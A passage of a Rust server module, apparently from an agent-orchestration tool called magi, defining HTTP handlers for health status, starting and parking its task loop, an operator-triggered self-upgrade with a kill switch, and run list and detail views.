1688/// this behaves like `notify` for as long as the deck stays up, and an
1689/// actual self-install still happens exactly where it always has: once, at
1690/// the next process start.
1691async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1692    loop {
1693        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1694        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1695        if !should_spawn_recheck(&cfg.update) {
1696            continue;
1697        }
1698        let Some(checker) = updater::Checker::new(&cfg.update) else {
1699            continue;
1700        };
1701        let progress = updater::read_progress(&home);
1702        if !update_recheck_due(&checker, progress.as_ref()) {
1703            continue;
1704        }
1705        if let Err(e) = checker.newer_release().await {
1706            tracing::warn!("background update recheck failed: {e:#}");
1707        }
1708    }
1709}
1710
1711/// [`UpdateView`] from the same throttled, disk-only state
1712/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1713/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1714/// no cached state at all, which is correct: an operator who turned checking
1715/// off gets no opinion, not a stale one.
1716fn cached_update_view(repo: &FsPath) -> UpdateView {
1717    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1718    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1719    match latest {
1720        Some(latest) => UpdateView {
1721            available: true,
1722            to: Some(latest.tag_name),
1723        },
1724        None => UpdateView {
1725            available: false,
1726            to: None,
1727        },
1728    }
1729}
1730
1731/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1732/// from the parked run's own state when the stage is
1733/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1734/// already on disk in `run.json`, so this reads them fresh rather than
1735/// trusting whatever was true the moment the park was requested.
1736fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1737    let waiting_on = (progress.stage == updater::Stage::Parking)
1738        .then_some(progress.parked_run.as_deref())
1739        .flatten()
1740        .and_then(|id| read_run(&ui.runs, id).ok())
1741        .map(|run| {
1742            format!(
1743                "run {} is finishing {} before the address is handed over",
1744                run.short(),
1745                run.status.as_str()
1746            )
1747        });
1748    UpgradeProgressView {
1749        stage: progress.stage,
1750        from: progress.from,
1751        to: progress.to,
1752        waiting_on,
1753        started_at: progress.started_at,
1754        updated_at: progress.updated_at,
1755        detail: progress.detail,
1756    }
1757}
1758
1759/// The disk figures `/api/health` carries. Every number is produced by
1760/// [`crate::disk`], the same code that decides a run may not start, so the
1761/// health screen and the gate cannot disagree about what the machine looks
1762/// like.
1763#[derive(Debug, Serialize)]
1764struct DiskView {
1765    /// Free bytes on the volume holding the runs, when measurable.
1766    #[serde(skip_serializing_if = "Option::is_none")]
1767    free_bytes: Option<u64>,
1768    /// Everything the runs directory occupies, unreadable runs included.
1769    runs_bytes: u64,
1770    /// Everything the runs' worktrees occupy.
1771    worktrees_bytes: u64,
1772    /// The shared build cache's size, when the config names one.
1773    #[serde(skip_serializing_if = "Option::is_none")]
1774    cache_bytes: Option<u64>,
1775}
1776
1777impl DiskView {
1778    /// Measure the three directories and re-read the config's cache.
1779    fn of(ui: &Ui) -> Self {
1780        let cache_bytes = Config::discover(&ui.repo, None)
1781            .ok()
1782            .and_then(|(cfg, _)| cfg.cache_dir())
1783            .map(|dir| crate::disk::dir_size(&dir));
1784        Self {
1785            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1786            runs_bytes: crate::disk::dir_size(&ui.runs),
1787            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1788            cache_bytes,
1789        }
1790    }
1791}
1792
1793/// The daemon's state as the UI presents it.
1794#[derive(Debug, Serialize)]
1795struct DaemonView {
1796    running: bool,
1797    idle: Option<bool>,
1798    pid: Option<u32>,
1799    /// Every task and run currently in flight. Empty when idle; more than
1800    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1801    /// run going at once.
1802    current: Vec<daemon::Current>,
1803    completed: Option<u64>,
1804    stale_for_secs: Option<i64>,
1805}
1806
1807impl DaemonView {
1808    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1809    /// not this UI's — a crashed daemon must not look alive here while
1810    /// `doctor` calls it dead.
1811    fn of(status: Option<daemon::Reading>) -> Self {
1812        let Some(status) = status else {
1813            return Self {
1814                running: false,
1815                idle: None,
1816                pid: None,
1817                current: Vec::new(),
1818                completed: None,
1819                stale_for_secs: None,
1820            };
1821        };
1822        let now = Timestamp::now();
1823        let age = status.age_secs(now);
1824        Self {
1825            running: status.running(now),
1826            idle: Some(status.idle),
1827            pid: status.pid,
1828            current: status.current,
1829            completed: Some(status.completed),
1830            stale_for_secs: age,
1831        }
1832    }
1833}
1834
1835async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1836    blocking(move || {
1837        // One read of the status file for the two fields that describe it, so
1838        // `daemon` and `loop` in the same answer cannot disagree about who is
1839        // running the loop.
1840        let reading = daemon::read_status(&ui.home);
1841        // Read on its own line, not inside the literal below: the loop's lock
1842        // is not reentrant, and a guard taken as a temporary there would still
1843        // be held when `loop_view` took it again.
1844        let loop_rev = ui.lock_loop().rev;
1845        let update = cached_update_view(&ui.repo);
1846        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1847        Ok(Json(HealthView {
1848            version: env!("CARGO_PKG_VERSION"),
1849            home: ui.home.display().to_string(),
1850            queue_rev: ui.queue.revision(),
1851            runs_rev: runs_revision(&ui.runs),
1852            questions_rev: ui.questions.revision(),
1853            talks_rev: ui.talks.revision(),
1854            notifications_rev: ui.notices.revision(),
1855            notifications_unread: ui.notices.count_unread(),
1856            loop_rev,
1857            runs_unreadable: runs_unreadable(&ui.runs),
1858            questions_open: ui.questions.count_open(),
1859            questions_needs_owner: ui.questions.count_needs_owner(),
1860            daemon: DaemonView::of(reading.clone()),
1861            looping: ui.loop_view(reading),
1862            disk: DiskView::of(&ui),
1863            update,
1864            upgrade,
1865        }))
1866    })
1867    .await
1868}
1869
1870/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1871#[derive(Debug, Serialize)]
1872struct LoopView {
1873    /// A loop is running in *this* process.
1874    running: bool,
1875    /// It has been asked to stop and is still finishing a run.
1876    ///
1877    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1878    /// because the two differ exactly where it matters: a loop asked to stop
1879    /// while idle is gone within one poll interval, and one asked to stop
1880    /// mid-run keeps going for as long as the graph takes. The operator needs
1881    /// to be told which of those they are waiting for.
1882    stopping: bool,
1883    /// A park was asked for: the run in flight stops at its next node
1884    /// boundary rather than finishing.
1885    ///
1886    /// Separate from `stopping` because the two promise different waits. A
1887    /// stop is "when this competition ends", which can be an hour; a park is
1888    /// "after the step it is on", which is minutes and is what an operator
1889    /// waiting to replace the binary needs to see.
1890    parking: bool,
1891    /// The loop is this process's own.
1892    ///
1893    /// Spelled separately from `running` for the front end's sake, even
1894    /// though inside this process the two move together: `running: false`
1895    /// with `daemon.running: true` is the case where the operator's own `magi
1896    /// serve` owns the loop, and `owned` is the field that tells the UI its
1897    /// buttons have to explain that rather than pretend.
1898    owned: bool,
1899    /// Repository the loop uses for tasks that name none - what it was
1900    /// started with while it runs, and what a start would use before that.
1901    repo: String,
1902    /// Merge mode override in force, or `null` when each repository's own
1903    /// config decides.
1904    merge: Option<String>,
1905    /// Why the last loop in this process ended, when it ended badly.
1906    ///
1907    /// The only place a crashed loop is visible to someone holding a phone.
1908    /// It is logged at error level as well, but a terminal nobody kept open
1909    /// is not a report, and a loop that died at 3am must not read as merely
1910    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1911    /// answers the same question about the same kind of failure.
1912    last_error: Option<String>,
1913    /// The status file, judged the same way `/api/health` judges it: this is
1914    /// what says whether a loop is alive in some *other* process.
1915    daemon: DaemonView,
1916}
1917
1918/// A loop another process already owns.
1919///
1920/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1921/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1922/// published by a pid that is not ours. Excluding our own pid is what makes
1923/// stopping work at all - the loop this process runs writes that file too, so
1924/// a check that ignored the pid would decide the operator's own UI was a
1925/// stranger and refuse to stop the loop it had just started.
1926#[derive(Debug, Clone, Copy)]
1927struct Foreign {
1928    /// The pid the other process published, when it published one.
1929    pid: Option<u32>,
1930}
1931
1932impl Foreign {
1933    /// Another process's live loop, or `None` when this process is free to
1934    /// run one.
1935    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1936        let reading = reading?;
1937        if !reading.running(Timestamp::now()) {
1938            return None;
1939        }
1940        match reading.pid {
1941            Some(pid) if pid == std::process::id() => None,
1942            // A fresh heartbeat with no pid in it is still evidence of a live
1943            // daemon. "Some other process" is the honest answer, and refusing
1944            // to start beside it is the safe one.
1945            pid => Some(Self { pid }),
1946        }
1947    }
1948
1949    /// How a conflict names it. The pid is the whole point of the message: it
1950    /// is what the operator needs to find the terminal that owns the loop.
1951    fn who(&self) -> String {
1952        match self.pid {
1953            Some(pid) => format!("another magi process (pid {pid})"),
1954            None => "another magi process".to_owned(),
1955        }
1956    }
1957}
1958
1959/// How a loop is started, as a future this module can hold onto.
1960///
1961/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1962/// trait object or a hand-written `Debug` impl for the sake of one seam.
1963type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1964
1965/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1966fn launch_daemon(
1967    opts: daemon::Opts,
1968    stop: daemon::Stop,
1969) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1970    Box::pin(daemon::serve_until(opts, stop))
1971}
1972
1973/// The loop this process runs, behind one lock.
1974#[derive(Debug, Default)]
1975struct LoopState {
1976    /// The loop, while there is one.
1977    live: Option<Live>,
1978    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1979    ///
1980    /// The loop is in-process state rather than a file, so nothing on disk
1981    /// would tell a second phone that the first one started it. Without this
1982    /// counter the only way to learn about a start, a stop request or a crash
1983    /// would be to poll `/api/loop`, which is the thing the change stream
1984    /// exists to avoid on a mobile link.
1985    rev: u64,
1986    /// Why the last loop ended, when it ended badly. See
1987    /// [`LoopView::last_error`].
1988    last_error: Option<String>,
1989    /// The loop was running (and not already stopping) when the last upgrade
1990    /// parked it, so the successor should start one. Set afresh by every
1991    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
1992    /// update.
1993    resume_after_handover: bool,
1994}
1995
1996/// A loop in flight.
1997#[derive(Debug)]
1998struct Live {
1999    /// The cooperative stop, shared with the loop task.
2000    stop: daemon::Stop,
2001    /// The task itself, kept only to answer whether it is still there: a loop
2002    /// that panicked never records its own end, and without this the view
2003    /// would go on reporting a loop that no longer exists - the one lie that
2004    /// would leave the operator with no button to press.
2005    handle: tokio::task::JoinHandle<()>,
2006    /// What the loop was started with, so the view reports the repository and
2007    /// merge mode its runs will actually use rather than what an edit to the
2008    /// config since would give.
2009    opts: daemon::Opts,
2010}
2011
2012impl Live {
2013    /// Is the task still there? See [`Live::handle`].
2014    fn alive(&self) -> bool {
2015        !self.handle.is_finished()
2016    }
2017}
2018
2019/// Take the loop lock, recovering from a poisoned one.
2020///
2021/// What this mutex holds is a stop flag, a task handle and two counters, none
2022/// of which a panic elsewhere can leave in a state worth refusing to read.
2023/// Propagating the poison instead would mean an operator who can see the loop
2024/// running and can no longer stop it from the only surface they have.
2025fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2026    state.lock().unwrap_or_else(PoisonError::into_inner)
2027}
2028
2029/// `GET /api/loop`.
2030async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2031    blocking(move || {
2032        let reading = daemon::read_status(&ui.home);
2033        Ok(Json(ui.loop_view(reading)))
2034    })
2035    .await
2036}
2037
2038/// The body of `POST /api/loop`.
2039///
2040/// One required field and nothing else: no `default` and no unknown fields,
2041/// so a body that fails to say which way the switch was flipped is a 400
2042/// rather than a tap that quietly does the opposite of what was pressed.
2043#[derive(Debug, Deserialize)]
2044#[serde(deny_unknown_fields)]
2045struct LoopCommand {
2046    running: bool,
2047    /// Stop the run in flight at its next node boundary rather than letting it
2048    /// finish.
2049    ///
2050    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2051    /// competition is tens of minutes of paid work and finishing it is
2052    /// normally the cheapest thing to do. A park is for the operator who
2053    /// wants the process gone now - to replace the binary, most of all - and
2054    /// it costs at most the node in progress because every node writes its
2055    /// state before the next one starts.
2056    #[serde(default)]
2057    park: bool,
2058}
2059
2060/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2061///
2062/// Answers with the view rather than waiting for the loop to reach the state
2063/// that was asked for. Starting is immediate anyway; stopping is not, and the
2064/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2065/// request open for. `stopping` in the answer is what the operator watches
2066/// instead.
2067async fn loop_post(
2068    State(ui): State<Arc<Ui>>,
2069    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2070) -> ApiResult<Json<LoopView>> {
2071    // Taken as a `Result` so a malformed body is a 400 like every other route
2072    // here, rather than axum's default 422 that the UI has no branch for.
2073    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2074    blocking(move || {
2075        let reading = daemon::read_status(&ui.home);
2076        let foreign = Foreign::of(reading.as_ref());
2077        if body.running {
2078            ui.start_loop(foreign)?;
2079        } else {
2080            ui.stop_loop(foreign, body.park)?;
2081        }
2082        Ok(Json(ui.loop_view(reading)))
2083    })
2084    .await
2085}
2086
2087/// What `POST /api/upgrade` set in motion.
2088#[derive(Debug, Serialize)]
2089struct UpgradeView {
2090    /// The version this process is running.
2091    from: String,
2092    /// The release it is replacing itself with, when there is one.
2093    to: Option<String>,
2094    /// A run was parked first, and this is its id.
2095    parked: Option<String>,
2096    /// What the operator should expect to happen next.
2097    detail: String,
2098}
2099
2100/// `POST /api/upgrade` - replace this binary with the newest release and come
2101/// back on it.
2102///
2103/// The one thing the deck could not do for itself. Every fix landed today
2104/// either waited for a competition to end or went in with the deck stopped,
2105/// because `cargo install` cannot overwrite a running executable on Windows.
2106/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2107/// the new one in its place, so the swap itself needs no downtime. Only the
2108/// restart does, and the order is the whole design:
2109///
2110/// 1. **Park.** A run in flight stops at its next node boundary and stays
2111///    resumable, so this costs at most the node in progress rather than the
2112///    competition. Without it the honest choices were waiting an hour or
2113///    discarding paid agent work.
2114/// 2. **Replace.** The new binary goes into place while this one still runs.
2115/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2116///    successor - see [`spawn_successor`] for what happens in the other
2117///    order.
2118/// 4. **Resume.** The next loop carries the parked run on rather than
2119///    competing again; see `daemon::attempt`.
2120///
2121/// Answers **202**: the reply has to reach the phone while this process can
2122/// still send one, and the phone learns the deck is back by reconnecting.
2123async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2124    let reading = daemon::read_status(&ui.home);
2125    if let Some(other) = Foreign::of(reading.as_ref()) {
2126        return Err(ApiError::conflict(format!(
2127            "the loop belongs to {}, so replacing this binary would leave \
2128             that process running an old one against the same queue. Upgrade \
2129             where it was started.",
2130            other.who()
2131        )));
2132    }
2133
2134    // The same kill switch the background check honours (`disabled_by_env`),
2135    // checked before anything else for the same reason it is read before the
2136    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2137    // contact GitHub from this process", and a button press must not
2138    // override that any more than a broken `magi.toml` may.
2139    if crate::updater::disabled_by_env() {
2140        return Ok((
2141            StatusCode::OK,
2142            Json(UpgradeView {
2143                from: env!("CARGO_PKG_VERSION").to_owned(),
2144                to: None,
2145                parked: None,
2146                detail: format!(
2147                    "Automatic updates are disabled by {}. Nothing was parked \
2148                     and nothing restarted.",
2149                    crate::updater::NO_AUTOUPDATE_ENV
2150                ),
2151            }),
2152        ));
2153    }
2154
2155    // Asked before anything is disturbed. Restarting when there is nothing
2156    // to install is not a harmless no-op: it parks the run in flight and
2157    // drops every connection to pay for an upgrade that did not happen. A
2158    // probe against a deck already on the newest build did exactly that.
2159    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2160    let from = env!("CARGO_PKG_VERSION").to_owned();
2161    let latest = match crate::updater::Checker::new(&cfg.update) {
2162        Some(checker) => checker
2163            .newer_release()
2164            .await
2165            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2166        None => None,
2167    };
2168    let Some(latest) = latest else {
2169        return Ok((
2170            StatusCode::OK,
2171            Json(UpgradeView {
2172                from,
2173                to: None,
2174                parked: None,
2175                detail: "Already on the newest release. Nothing was parked \
2176                         and nothing restarted."
2177                    .to_owned(),
2178            }),
2179        ));
2180    };
2181
2182    // Parked before anything is replaced: a successor that came up while a
2183    // run was mid-node would find a run nobody is driving.
2184    let parked = ui.park_for_upgrade()?;
2185    let detail = match &parked {
2186        // Honest about the wait. A park takes effect at the *next* node
2187        // boundary, so a run mid-implement finishes that wave first - up to
2188        // `timeout_implement`, an hour by default. Saying "restarting now"
2189        // would make the deck look wedged for the rest of it.
2190        Some(run) => format!(
2191            "Run {} is parking at its next step, which can take as long as \
2192             the step it is on - up to an hour for an implement wave. The \
2193             deck replaces itself once it parks, comes back, and the loop \
2194             carries that run on from where it stopped. Nothing is lost if \
2195             you close this.",
2196            crate::run::short_of(run)
2197        ),
2198        None => "The deck replaces itself and comes back. Nothing was in \
2199                 flight to park."
2200            .to_owned(),
2201    };
2202
2203    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2204    // poll must see a `Downloading` stage immediately, not whenever the
2205    // spawned task happens to get scheduled.
2206    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2207    progress.parked_run = parked.clone();
2208    let _ = updater::write_progress(&ui.home, &progress);
2209
2210    let home = ui.home.clone();
2211    let looping = ui.looping();
2212    tokio::spawn(async move {
2213        if let Err(e) = upgrade_and_restart(home.clone()).await {
2214            tracing::error!("the upgrade did not complete: {e:#}");
2215            lock_or_recover(&looping).resume_after_handover = false;
2216            if let Some(mut progress) = updater::read_progress(&home) {
2217                progress.fail(format!("{e:#}"));
2218                let _ = updater::write_progress(&home, &progress);
2219            }
2220        }
2221    });
2222
2223    Ok((
2224        StatusCode::ACCEPTED,
2225        Json(UpgradeView {
2226            from,
2227            to: Some(latest.tag_name),
2228            parked,
2229            detail,
2230        }),
2231    ))
2232}
2233
2234/// Replace the binary, then ask [`serve`] to hand the address over.
2235///
2236/// Separated from the handler so the 202 is already on its way, and separated
2237/// from the spawn so the successor starts only after the listener is dropped.
2238async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2239    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2240    // hang the upgrade for as long as the process lives.
2241    crate::updater::run_self_update(true, false, true).await?;
2242    tracing::info!("binary replaced - asking the server to hand over");
2243    if let Some(mut progress) = updater::read_progress(&home) {
2244        progress.advance(updater::Stage::Replaced);
2245        let _ = updater::write_progress(&home, &progress);
2246    }
2247    HANDOVER.notify_one();
2248    Ok(())
2249}
2250
2251/// One row in the run list.
2252///
2253/// The list route returns this rather than whole `RunState`s: the summary of a
2254/// run is a few hundred bytes and the state is megabytes, and the difference
2255/// is what makes the history usable on a mobile link.
2256#[derive(Debug, Serialize)]
2257struct RunSummary {
2258    id: String,
2259    short: String,
2260    status: String,
2261    done: bool,
2262    instruction: String,
2263    title: String,
2264    repo: String,
2265    repo_name: String,
2266    created_at: String,
2267    updated_at: String,
2268    candidates: usize,
2269    viable: usize,
2270    judges: usize,
2271    winner: Option<char>,
2272    reviews: usize,
2273    quota_losses: usize,
2274    event: Option<String>,
2275    /// The later attempt at the same task that replaced this one, if any.
2276    ///
2277    /// Two cards with one title is otherwise unreadable: this is what lets
2278    /// the deck say "superseded by 4043" on the older of the pair.
2279    superseded_by: Option<String>,
2280    /// Blocked on a question nobody has answered.
2281    ///
2282    /// Derived from the question store rather than stored on the run: an agent
2283    /// calling `magi ask` blocks mid-node, and writing a status from there
2284    /// would race the graph's own save of `run.json` and be overwritten at the
2285    /// next node boundary. Asking the store is always true and never races.
2286    waiting: bool,
2287    /// Whether the process recorded as driving this run can still be proven
2288    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2289    /// rather than presenting its last graph node as still in flight.
2290    live: crate::run::Liveness,
2291    /// The land loop's last look at the pull request, when there is one.
2292    pr: Option<crate::run::PrRecord>,
2293    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2294    /// design — never picked up by the PR-polling merge watcher, unlike an
2295    /// ordinary `Ready` that may still be a live landing candidate. See
2296    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2297    /// re-deriving the same check from `status` and `merge.mode` itself.
2298    unmerged_by_design: bool,
2299}
2300
2301impl RunSummary {
2302    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2303        Self {
2304            id: state.id.clone(),
2305            short: state.short().to_owned(),
2306            status: status_word(state.status),
2307            done: state.status.done(),
2308            unmerged_by_design: state.unmerged_by_design(),
2309            instruction: state.instruction.clone(),
2310            title: title_from(&state.instruction, TITLE_MAX),
2311            repo: state.repo.display().to_string(),
2312            repo_name: state
2313                .repo
2314                .file_name()
2315                .map(|n| n.to_string_lossy().into_owned())
2316                .unwrap_or_default(),
2317            created_at: state.created_at.to_string(),
2318            updated_at: state.updated_at.to_string(),
2319            candidates: state.candidates.len(),
2320            viable: state.viable().len(),
2321            judges: state.config.graph.judges,
2322            winner: state.winner().map(|c| c.label),
2323            reviews: state.reviews.len(),
2324            quota_losses: state.quota.len(),
2325            event: state.events.last().map(|e| e.message.clone()),
2326            waiting,
2327            live,
2328            // Filled in by the list route, which is the only place that can
2329            // see a task's other attempts.
2330            superseded_by: None,
2331            pr: state.pr.clone(),
2332        }
2333    }
2334}
2335
2336/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2337/// the same string `serde` writes for the status inside a full run.
2338fn status_word(status: RunStatus) -> String {
2339    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2340    // was a third way of naming the same statuses, and one that changed
2341    // silently with a derive.
2342    status.as_str().to_owned()
2343}
2344
2345/// `?limit=`, clamped by the handler.
2346#[derive(Debug, Deserialize)]
2347struct ListQuery {
2348    #[serde(default)]
2349    limit: Option<usize>,
2350}
2351
2352async fn runs_list(
2353    State(ui): State<Arc<Ui>>,
2354    Query(q): Query<ListQuery>,
2355) -> ApiResult<Json<Vec<RunSummary>>> {
2356    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2357    blocking(move || {
2358        let superseded = ui.queue.superseded();
2359        // Everything the per-run rows share is read once here. Asking per run
2360        // re-read every question file and the daemon status file for each of
2361        // hundreds of runs, and spawned a process probe per run on Windows.
2362        let open_runs: HashSet<String> = ui
2363            .questions
2364            .list()
2365            .into_iter()
2366            .filter(|q| q.status.open())
2367            .map(|q| q.run)
2368            .collect();
2369        let claimed: HashSet<String> =
2370            crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2371                .into_iter()
2372                .map(|c| c.run)
2373                .collect();
2374        let states = run_ids(&ui.runs)
2375            .into_iter()
2376            // A run whose state cannot be read is skipped, not fatal: a run
2377            // killed mid-write must not blank the history of every other one.
2378            // The detail route still explains it, which is where an operator
2379            // asking "what happened to that run" ends up.
2380            .filter_map(|id| read_run(&ui.runs, &id).ok())
2381            .take(limit);
2382        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2383        let summaries = summarize(
2384            states,
2385            &open_runs,
2386            &claimed,
2387            &superseded,
2388            |p| probe.borrow_mut().status(p),
2389            |p| probe.borrow_mut().started_at(p),
2390        );
2391        Ok(Json(summaries))
2392    })
2393    .await
2394}
2395
2396/// The rows of the run list, given everything that is shared between them.
2397///
2398/// Pure over its inputs so a test can count how often the process queries are
2399/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2400/// takes, called at most once per run.
2401fn summarize<I, S, D>(
2402    states: I,
2403    open_runs: &HashSet<String>,
2404    claimed: &HashSet<String>,
2405    superseded: &HashMap<String, String>,
2406    mut status_q: S,
2407    mut identity_q: D,
2408) -> Vec<RunSummary>
2409where
2410    I: IntoIterator<Item = RunState>,
2411    S: FnMut(u32) -> Option<bool>,
2412    D: FnMut(u32) -> Option<String>,
2413{
2414    states
2415        .into_iter()
2416        .map(|state| {
2417            let waiting = open_runs.contains(&state.id);
2418            let live =
2419                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2420            let mut row = RunSummary::of(&state, waiting, live);
2421            row.superseded_by = superseded
2422                .get(&state.id)
2423                .map(String::as_str)
2424                .map(crate::run::short_of)
2425                .map(str::to_owned);
2426            row
2427        })
2428        .collect()
2429}
2430
2431/// A run as the detail route hands it to the phone.
2432///
2433/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2434/// the instruction as markdown, and the raw `instruction` field this struct
2435/// still carries (unchanged) is what a client wanting the exact bytes reads
2436/// instead.
2437#[derive(Debug, Serialize)]
2438struct RunDetailView {
2439    #[serde(flatten)]
2440    state: RunState,
2441    instruction_md: Vec<md::Node>,
2442    /// Whether a process is actually still driving this run: `"live"`,
2443    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2444    ///
2445    /// `state.active` (flattened in above) is only ever cleared by the
2446    /// process that populated it; a killed one leaves its last wave's
2447    /// entries behind. Carrying this alongside is what lets the phone rail
2448    /// tell "this seat is still answering" from "this seat was still
2449    /// answering when whatever was driving this run died" without a second
2450    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2451    /// proof of either. A string rather than a bool on purpose: a daemon
2452    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2453    /// and neither proven is `"unknown"` — folding that third case into
2454    /// either end of a bool is exactly the wrong call for a phone screen an
2455    /// operator uses to decide whether to wait or to act.
2456    live: crate::run::Liveness,
2457    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2458    /// alongside the flattened `state` rather than inside it, since
2459    /// `RunState` has no business knowing which of its own methods a caller
2460    /// wants serialized.
2461    unmerged_by_design: bool,
2462    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2463    /// route fills it from [`Queue::superseded`], the detail route from
2464    /// [`Queue::superseded_by`], and both read the same underlying task
2465    /// order. Without this the detail page could only ever show a red
2466    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2467    /// with nothing anywhere saying so — an operator opening it had no way
2468    /// to tell "this is done elsewhere" from "this still needs a retry".
2469    superseded_by: Option<String>,
2470    /// The task's current attempt, when this run is an older one — resolved
2471    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2472    /// the client to derive.
2473    ///
2474    /// Three things a client cannot safely do on its own drove this onto the
2475    /// server: it has to name the chain's *current head*, not just the next
2476    /// attempt (`superseded_by` above), because an intermediate retry in a
2477    /// longer chain can itself still be unresolved; it has to resolve to a
2478    /// real id rather than a short id a client would have to guess a full id
2479    /// from, which is ambiguous the moment two runs share a suffix; and it
2480    /// has to read that head's own status directly, because whether a run
2481    /// list a client happens to have cached even contains that attempt
2482    /// depends on a page limit this route knows nothing about.
2483    latest_attempt: Option<LatestAttempt>,
2484}
2485
2486/// The task's current attempt, as seen from an older one's detail page.
2487#[derive(Debug, Serialize)]
2488struct LatestAttempt {
2489    id: String,
2490    short: String,
2491    /// Whether this attempt itself settled with a result nobody needs to
2492    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
2493    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
2494    /// unconfirmed claim that no change was needed, which is exactly why it
2495    /// settles the task through `Held` rather than `Done` and still waits on
2496    /// a human to check the evidence; showing an older run as "finished
2497    /// elsewhere" on the strength of an unverified claim would bury the
2498    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
2499    /// in-flight status are excluded because they are exactly the
2500    /// unresolved states this field exists to tell apart from a real finish.
2501    resolved: bool,
2502}
2503
2504impl RunDetailView {
2505    fn of(
2506        state: RunState,
2507        live: crate::run::Liveness,
2508        superseded_by: Option<String>,
2509        latest_attempt: Option<LatestAttempt>,
2510    ) -> Self {
2511        Self {
2512            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2513            live,
2514            unmerged_by_design: state.unmerged_by_design(),
2515            superseded_by,
2516            latest_attempt,
2517            state,
2518        }
2519    }
2520}
2521
2522async fn run_detail(
2523    State(ui): State<Arc<Ui>>,
2524    Path(id): Path<String>,
2525) -> ApiResult<Json<RunDetailView>> {
2526    blocking(move || {
2527        let id = resolve_run(&ui.runs, &id)?;
2528        let state = read_run(&ui.runs, &id)?;
2529        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2530        let live = state.liveness(daemon_claims);
2531        let superseded_by = ui
2532            .queue
2533            .superseded_by(&id)
2534            .as_deref()
2535            .map(crate::run::short_of)
2536            .map(str::to_owned);
2537        // Best-effort: an unreadable head (mid-write, or deleted) just means
2538        // this run's own status stands on its own, same as no later attempt
2539        // existing at all.
2540        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2541            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2542                short: head.short().to_owned(),
2543                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2544                id: head.id,
2545            })
2546        });
2547        Ok(Json(RunDetailView::of(
2548            state,
2549            live,
2550            superseded_by,
2551            latest_attempt,
2552        )))
2553    })
2554    .await
2555}
2556
2557/// `DELETE /api/runs/{id}`.
2558///
2559/// Remove a finished, folded run directory along with its artifacts.
2560/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2561/// deleted. This never touches git worktrees or branches - except for a run
